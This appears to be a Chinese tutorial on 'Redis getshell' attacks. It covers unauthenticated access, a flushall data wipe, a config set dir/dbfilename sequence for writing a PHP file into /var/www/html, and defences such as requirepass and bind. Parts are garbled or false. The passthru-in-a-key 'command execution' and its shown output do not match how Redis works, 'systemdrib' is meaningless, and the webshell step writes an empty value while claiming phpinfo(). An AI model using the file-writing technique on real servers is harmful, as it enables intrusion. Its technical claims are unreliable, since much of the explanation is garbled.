Redis+Getshell的示例分析

什么是Redis

Redis是一款高效的键值存储数据库,它支持多种数据结构,包括字符串、散列表、集合、有序集合等。Redis主要被用于缓存、消息队列、排行榜和实时分析等应用场景。

Redis Getshell攻击是什么?

Redis Getshell攻击是指利用Redis服务器的漏洞,通过上传恶意Redis命令获得服务器的Shell权限。由于Redis的默认配置是允许任何主机连接的,如果在受攻击的服务器上运行了Redis服务,则攻击者可以利用这个漏洞直接访问服务器上的shell。

Redis Getshell攻击原理

Redis未授权访问

Redis默认配置允许任何主机连接,没有密码验证。如果攻击者可以访问Redis服务器,则可以通过Redis协议发送任何命令。

 $redis-cli -h IP -p 端口

127.0.0.1:6379> info

...

当攻击者访问Redis服务器时,可以通过控制台发送命令,使Redis服务器执行任意命令,例如:

 127.0.0.1:6379> flushall

OK

执行flushall命令将删除Redis服务器数据,这意味着攻击者可以通过发送恶意命令来破坏Redis服务器。

Redis命令执行

Redis函数调用工具类redis-rce中的systemdrib命令执行函数会利用Redis的漏洞执行Shell命令。

import redis

r = redis.Redis(host='localhost', port=6379)

r.set('user','test{{passthru("id")}}')

当RCE攻击被成功执行后,合法用户可以查询“用户”键并获得攻击者游戏启动程序。

redis-cli -h localhost

127.0.0.1:6379> get user

"testuid=33(www-data) gid=33(www-data) groups=33(www-data)\n"

Redis Getshell攻击实例

下面是一份Redis Getshell攻击的代码示例:

import redis

r = redis.Redis(host='localhost', port=6379)

r.set('user','test{{passthru("id")}}')

执行上述代码,会在Redis服务器上创建一个名为“user”的键,并在键值中写入“test{{passthru("id")}}”字符串。因为Redis配置允许任何主机连接,并允许执行Redis命令,所以可以通过执行以下命令来执行Shell命令:

 127.0.0.1:6379> config set dir "/var/www/html"

OK

127.0.0.1:6379> config set dbfilename "index.php"

OK

127.0.0.1:6379> set foo ""

OK

127.0.0.1:6379> save

OK

执行上述命令可以在/var/www/html目录下创建一个名为“index.php”的文件,并在文件中写入phpinfo()函数。

如何防止Redis Getshell攻击?

配置密码认证

配置Redis服务器强制密码认证是有效防止Redis Getshell攻击的一种方法。在Redis中可以通过设置密码参数,配置Redis服务器密码认证。例如,可以在Redis配置文件中添加以下内容:

 requirepass 你的密码

配置Redis Server的密码认证后必须输入密码才能进行操作,这样就可以防止未经授权的用户访问Redis。

限制外部访问

要禁止外部访问Redis,可以在Redis配置文件中设置如下:

 bind 127.0.0.1

这样只有本地管理用户可以访问Redis服务器。

升级到最新版本

更新Redis到最新版本也是防止Redis Getshell攻击的有效方法。Redis团队会不断修复服务器漏洞并发布安全补丁。升级到最新版可以保护系统中的Redis服务器免受已知漏洞的攻击。

结论

Redis Getshell攻击会给系统安全带来极大的威胁。攻击者通过利用Redis漏洞来获取服务器Shell权限,这样可以访问服务器中的数据和文件,甚至破坏整个系统。为了保护Redis服务器的安全,必须按照最佳实践进行配置管理,以便在攻击时及时发现和修复漏洞。

数据库标签